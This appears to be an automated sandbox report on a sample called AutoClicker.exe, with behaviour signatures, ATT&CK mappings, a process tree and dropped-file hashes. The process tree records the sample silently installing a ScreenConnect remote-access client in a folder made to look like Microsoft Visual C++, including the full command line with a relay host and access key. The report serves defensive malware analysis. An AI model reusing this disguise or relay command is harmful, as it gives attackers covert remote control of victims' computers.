Overview

overview

8

Static

static

5

AutoClicke...er.exe

windows10-2004-x64

8

AutoClicke...er.exe

windows11-ltsc_2024-x64

8

AutoClicke...er.dll

windows10-2004-x64

8

AutoClicke...er.dll

windows11-ltsc_2024-x64

8

AutoClicke...20.dll

windows10-2004-x64

1

AutoClicke...20.dll

windows11-ltsc_2024-x64

1

AutoClicke...20.dll

windows10-2004-x64

1

AutoClicke...20.dll

windows11-ltsc_2024-x64

1

AutoClicke...20.dll

windows10-2004-x64

1

AutoClicke...20.dll

windows11-ltsc_2024-x64

1

AutoClicke...40.dll

windows10-2004-x64

1

AutoClicke...40.dll

windows11-ltsc_2024-x64

1

AutoClicke...40.dll

windows10-2004-x64

1

AutoClicke...40.dll

windows11-ltsc_2024-x64

1

AutoClicke...40.dll

windows10-2004-x64

1

AutoClicke...40.dll

windows11-ltsc_2024-x64

1

AutoClicke...40.exe

windows10-2004-x64

1

AutoClicke...40.exe

windows11-ltsc_2024-x64

6

AutoClicke...40.dll

windows10-2004-x64

1

AutoClicke...40.dll

windows11-ltsc_2024-x64

1

AutoClicke...in.dll

windows10-2004-x64

1

AutoClicke...rt.dll

windows10-2004-x64

1

AutoClicke...se.dll

windows10-2004-x64

1

Analysis

  • max time kernel
    150s
  • max time network
    135s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    13/11/2026, 12:03

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    AutoClicker\AutoClicker.exe
  • Size 74KB
  • Sample261113-n8gc5sbs8n
  • SHA256 f0b332ed4ff4f4dde04cf7463b6aba23d8cd3198bd763a627c5c196c2d775760
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
discoveryexecutionpersistenceprivilege_escalationrevoked_codesign

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 6 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 2 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 35 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 40 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\AutoClicker\AutoClicker.exe
    "C:\Users\Admin\AppData\Local\Temp\AutoClicker\AutoClicker.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3360
    • C:\Windows\system32\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\WZ6B3E.tmp" /qn /norestart
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:5064
    • C:\Users\Admin\AppData\Local\Temp\AutoClicker\redist\2022\vcomp140.dll
      "C:\Users\Admin\AppData\Local\Temp\AutoClicker\redist\2022\vcomp140.dll"
      2⤵
      • Suspicious behavior: GetForegroundWindowSpam
      PID:4168
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3760
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding A2F68DA79C49CE0AF489918FA4F952BC
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4000
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI706E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240808421 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3052
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 76616A132A6487ED7A6ADA698A91DA32 E Global\MSI0000
      2⤵
      • Drops file in Windows directory
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:2844
  • C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=442.fast-ports.com&p=8041&s=ec339db7-8925-4ae6-b040-a3cdff6dbb18&k=BgIAAACkAABSU0ExAAgAAAEAAQC9tEvdRVGC5lIY8X4hjpl0U0sJGDNefbQTy9CEs8H%2fsuLAC39V527bXl831TqO7MXgRnK94hZ1aOTauI2TPhqC4k%2flylXJ6D38p6xP5mx2S3qGy1rV5284%2fIJoxaEsJLZ7l0B2HwJ7xqsXfOkEcazSXuGVNQZm6cj2Wkywm83LPev272NRgJL5Ez1udPKfiyka3LB05OTsr7CFz6SdMU9niD2bEajAruU%2fKDgZzHcKsuCpSPOtVxB6tGyDCUlzt%2ba11fKeVqz108gLHpQ7IRBxW1XUK1pqnfcm7J7yrkyn1VeWAaAe2z2gCkElPg3L%2bZnZwHwdsLQILT%2b5HoiupqbW&c=AutoClicker"
    1⤵
    • Sets service image path in registry
    • Drops file in System32 directory
    • Executes dropped EXE
    • Loads dropped DLL
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2080
    • C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsClient.exe" "RunRole" "3b39eb9a-de25-4d76-8105-5cbbc82bf9d7" "User"
      2⤵
      • Executes dropped EXE
      PID:2708
    • C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsClient.exe" "RunRole" "8e63ea1b-5c64-457d-a67b-3e0b0d2a28a6" "System"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:452
  • C:\Windows\system32\OpenWith.exe
    C:\Windows\system32\OpenWith.exe -Embedding
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:3316
  • C:\Windows\system32\OpenWith.exe
    C:\Windows\system32\OpenWith.exe -Embedding
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:2808
  • C:\Windows\system32\OpenWith.exe
    C:\Windows\system32\OpenWith.exe -Embedding
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:5768
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\SetClear.cmd" "
    1⤵
    • Executes a command shell one-liner
    PID:3708
  • C:\Windows\system32\AUDIODG.EXE
    C:\Windows\system32\AUDIODG.EXE 0x00000000000004F0 0x00000000000004F4
    1⤵
      PID:5604

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Command and Scripting Interpreter

          1
          T1059

          Windows Command Shell

          1
          T1059.003

          Persistence

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          1
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Privilege Escalation

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          1
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Defense Evasion

          Modify Registry

          1
          T1112

          Credential Access

          Discovery

          Peripheral Device Discovery

          1
          T1120

          Query Registry

          2
          T1012

          System Information Discovery

          2
          T1082

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          System Network Configuration Discovery

          1
          T1016

          Lateral Movement

          Collection

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e5a6cf7.rbs
          • Path C:\Config.Msi\e5a6cf7.rbs
          • Size 214KB
          • SHA256 94228a213ef884ea3670e7e0767b75e62c7746b0fd2b6a019e4f2438db0a0f70
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.Override.en-US.resources
          • Path C:\Program Files (x86)\Microsoft Visual C++ 2019\Client.Override.en-US.resources
          • Size 227B
          • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          Client.Override.resources
          • Path C:\Program Files (x86)\Microsoft Visual C++ 2019\Client.Override.resources
          • Size 3KB
          • SHA256 5d1d6a91f03624eb0e5afadf13b9fb0dda18d0171df7979860007fd3a1f438b8
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          Client.en-US.resources
          • Path C:\Program Files (x86)\Microsoft Visual C++ 2019\Client.en-US.resources
          • Size 48KB
          • SHA256 f8398a235b29af6569f2b116e0299b95512d042f5a4cd38c98c79729a5fbdb9d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.resources
          • Path C:\Program Files (x86)\Microsoft Visual C++ 2019\Client.resources
          • Size 35KB
          • SHA256 a985bc17bb423ac98f5309d632ad0846494faa46951bb87dd16e9cc68c829549
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Client.dll
          • Path C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 c48818729f4743c8ca9e1b31c8fe3c3e4bb335ae5e5e9ac253a823f9979e582c
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.dll
          • Path C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 4505825b498071330af95e6fb49d0e4838e7f0c7afd760f46d19d0c7c20eb5e5
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.exe
          • Path C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 c934cc868a7e985753ccaaef66d3e0714819be1d5549d600e113e09c93142cb9
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsAuthenticationPackage.dll
          • Path C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 244KB
          • SHA256 7a6e2a764928322d7f1e57af61a1e463bff0cd373c19c4bd0a3dc93a845fa46d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe
          • Path C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsClient.exe
          • Size 584KB
          • SHA256 aa921b756893d0a0740e90469c27d047bfc0b733f38e5f1490df47baf8441d7a
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe.config
          • Path C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ScreenConnect.WindowsCredentialProvider.dll
          • Path C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsCredentialProvider.dll
          • Size 869KB
          • SHA256 46869989dc9086be05080b30a3dccefa9df021826a04820f6b2f30e2e86b5f9c
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          app.config
          • Path C:\Program Files (x86)\Microsoft Visual C++ 2019\app.config
          • Size 1KB
          • SHA256 6c034f6d8ad4f428b2bb7b147ff33df09fd0e03fd80f6a09350ffceb2c006434
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          system.config
          • Path C:\Program Files (x86)\Microsoft Visual C++ 2019\system.config
          • Size 938B
          • SHA256 63b1725577a5ea30d72ee595e3a421c39907010dede57ad9828ee5a9ca5fb4c7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          WZ6B3E.tmp
          • Path C:\Users\Admin\AppData\Local\Temp\WZ6B3E.tmp
          • Size 12.9MB
          • SHA256 a65e595248ef3a63b9cd4b267e50694fbd6c2ec7bb2867f1a111a241b83aa623
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          MSI706E.tmp
          • Path C:\Windows\Installer\MSI706E.tmp
          • Size 1.1MB
          • SHA256 81c8eb2c3eff9902c4a210d265ed7fc8ecb6619aec3fbbcedaed390e0f31c4aa
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Microsoft.Deployment.WindowsInstaller.dll
          • Path C:\Windows\Installer\MSI706E.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Core.dll
          • Path C:\Windows\Installer\MSI706E.tmp-\ScreenConnect.Core.dll
          • Size 533KB
          • SHA256 289c9f6f4c91ff0774de14bbcb637346ccb74ed676cb915376040674056271bc
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.InstallerActions.dll
          • Path C:\Windows\Installer\MSI706E.tmp-\ScreenConnect.InstallerActions.dll
          • Size 21KB
          • SHA256 acdce930cde439092e10dc6b766c2d564eb51def7877e92b69d0bf8b400c05a7
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Windows.dll
          • Path C:\Windows\Installer\MSI706E.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 30a0135e30850d8d5a47ad868e1aceca5d523e50e97298f57fd9b447384ae67c
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          MSI7756.tmp
          • Path C:\Windows\Installer\MSI7756.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/2080-106-0x00000000040C0000-0x00000000040F6000-memory.dmp
          Download

          memory/2080-107-0x00000000041A0000-0x0000000004232000-memory.dmp
          Download

          memory/2080-102-0x0000000004070000-0x00000000040C0000-memory.dmp
          Download

          memory/2080-109-0x0000000004100000-0x0000000004141000-memory.dmp
          Download

          memory/2080-111-0x0000000004390000-0x000000000446C000-memory.dmp
          Download

          memory/2080-91-0x0000000001660000-0x0000000001676000-memory.dmp
          Download

          memory/2708-135-0x000000001AFC0000-0x000000001B04C000-memory.dmp
          Download

          memory/2708-134-0x00000000024A0000-0x00000000024D6000-memory.dmp
          Download

          memory/2708-133-0x00000000001C0000-0x0000000000256000-memory.dmp
          Download

          memory/2708-136-0x000000001B410000-0x000000001B5BA000-memory.dmp
          Download

          memory/2708-137-0x000000001B750000-0x000000001B8D8000-memory.dmp
          Download

          memory/2708-138-0x0000000002370000-0x0000000002386000-memory.dmp
          Download

          memory/2708-139-0x0000000002640000-0x0000000002656000-memory.dmp
          Download

          memory/3052-51-0x0000000005920000-0x0000000005ACA000-memory.dmp
          Download

          memory/3052-47-0x00000000056E0000-0x000000000576C000-memory.dmp
          Download

          memory/3052-43-0x00000000035B0000-0x00000000035BC000-memory.dmp
          Download

          memory/3052-39-0x00000000035C0000-0x00000000035EE000-memory.dmp
          Download

          memory/3052-52-0x0000000006090000-0x000000000664A000-memory.dmp
          Download

          memory/3360-3-0x00007FFB0A550000-0x00007FFB0A55E000-memory.dmp
          Download